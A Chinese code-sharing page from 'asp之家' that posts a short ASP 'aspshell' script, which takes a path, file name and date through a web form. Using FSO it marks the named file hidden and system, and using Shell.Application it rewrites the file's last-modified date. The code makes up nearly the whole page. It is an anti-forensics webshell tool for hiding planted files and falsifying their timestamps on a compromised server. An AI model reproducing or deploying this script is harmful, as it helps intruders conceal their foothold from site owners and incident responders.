隐藏修改文件时间和文件属性的ASP脚本

来源:asp之家 时间:2011-03-17 11:15:00 

代码如下:


<% 
'隐藏并修改文件的最后修改时间的aspshell 
'原理:通过FSO可以修改文件的属性,比如设置为只读,隐藏,系统等等;FSO中的attributes属性修改文件属性,1只读,2隐藏,4系统文件 
' 通过shell.application可以给文件重新设置一个最后修改时间 
'2009/02/24 write by skyfire 
response.write "<form method=post>" 
response.write "路 径:<input name=path value='"&server.mappath("/")&"' size='30'>(一定要以\结尾)<br />" 
response.write "文件名称:<input name=filename value='test.txt' size='30'><br />" 
response.write "修改时间:<input name=time value='12/30/2099 12:30:30' size='30'><br />" 
response.write "<input type=submit value=修改并隐藏文件>" 
response.write "</form>" 

'获取提交的参数 
set path=request.Form("path") 
set fileName=request.Form("filename") 
set newTime=request.Form("time") 

if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then 

'通过fso设置文件属性 
Set fso=Server.CreateObject("Scripting.FileSystemObject") 
Set file=fso.getFile(path&fileName) 
file.attributes=2+4 '设置文件属性为隐藏+系统 

'通过shell.Application修改文件的最后修改时间 
Set shell=Server.CreateObject("Shell.Application") 
Set app_path=shell.NameSpace(server.mappath(".")) 
Set app_file=app_path.ParseName(fileName) 
app_file.Modifydate=newTime 

end if 
%> 

标签:隐藏,修改文件,文件属性
0
投稿

猜你喜欢

  • go语言实现聊天服务器的示例代码

    2024-04-26 17:17:39
  • pandas温差查询案例的实现

    2023-07-16 07:56:15
  • python基于event实现线程间通信控制

    2022-04-30 07:10:51
  • 详解Python不同版本之间的切换方法

    2023-12-28 05:22:06
  • 关于JavaScript中string 的replace

    2024-05-05 09:22:42
  • JS 排序输出实现table行号自增前端动态生成的tr

    2024-06-16 05:07:50
  • python 从远程服务器下载日志文件的程序

    2021-03-06 01:39:15
  • python数字图像处理之对比度与亮度调整示例

    2021-02-13 19:33:19
  • Python常见字符串操作函数小结【split()、join()、strip()】

    2023-07-21 04:58:15
  • 标准的、语义的、Unobtrusive的页签tab切换

    2007-11-03 13:58:00
  • Python实现提取音乐频谱的方法详解

    2022-01-27 07:03:08
  • 合理设置内存让数据库与其他程序共存

    2009-05-21 16:24:00
  • 解析:轻松掌握在 Mac OS X中安装MySQL

    2009-01-14 11:51:00
  • 使用pyinstaller打包PyQt4程序遇到的问题及解决方法

    2023-11-04 11:21:26
  • Python列表生成式与生成器操作示例

    2023-08-05 14:16:45
  • Python装饰器的定义和使用详情

    2021-01-26 23:22:15
  • Python图像处理之图片拼接和堆叠案例教程

    2022-04-08 13:36:04
  • MySQL定时备份之使用Linux下的crontab定时备份实例

    2024-01-18 01:43:52
  • SQL Transcation的一些总结分享

    2012-08-21 10:21:28
  • Pytorch中的gather使用方法

    2021-11-22 06:11:49
  • asp之家 网络编程 m.aspxhome.com